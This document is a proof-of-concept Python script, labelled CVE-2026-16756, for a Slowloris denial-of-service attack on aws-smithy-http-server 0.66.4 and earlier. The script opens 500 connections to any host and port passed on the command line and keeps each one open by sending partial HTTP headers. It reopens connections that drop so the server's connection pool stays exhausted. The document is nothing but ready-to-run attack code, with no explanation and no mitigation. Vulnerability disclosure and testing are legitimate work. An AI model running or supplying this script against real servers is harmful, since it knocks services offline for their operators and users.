CVE-2026-16756: aws-smithy-http-server Slowloris Denial of Service

#!/usr/bin/env python3
# Slowloris PoC for CVE-2026-16756
# Targets aws-smithy-http-server <= 0.66.4 (no connection timeout, no connection cap)
import socket, time, random, sys

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
SOCKET_COUNT = 500
INTERVAL = 15  # seconds between keep-alive header drips

def create_socket():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((HOST, PORT))
    # Send a partial HTTP/1.1 request — headers never terminated with \r\n\r\n
    s.send(f"GET / HTTP/1.1\r\nHost: {HOST}\r\n".encode())
    return s

print(f"[*] Opening {SOCKET_COUNT} slow connections to {HOST}:{PORT}")
sockets = []
for _ in range(SOCKET_COUNT):
    try:
        sockets.append(create_socket())
    except Exception:
        pass
print(f"[*] {len(sockets)} connections open. Dripping keep-alive headers every {INTERVAL}s.")

while True:
    alive = []
    for s in sockets:
        try:
            # Send an additional partial header to keep the connection alive
            s.send(f"X-Keep: {random.randint(1,9999)}\r\n".encode())
            alive.append(s)
        except Exception:
            pass
    # Refill dropped connections
    while len(alive) < SOCKET_COUNT:
        try:
            alive.append(create_socket())
        except Exception:
            break
    sockets = alive
    print(f"[*] {len(sockets)} connections open")
    time.sleep(INTERVAL)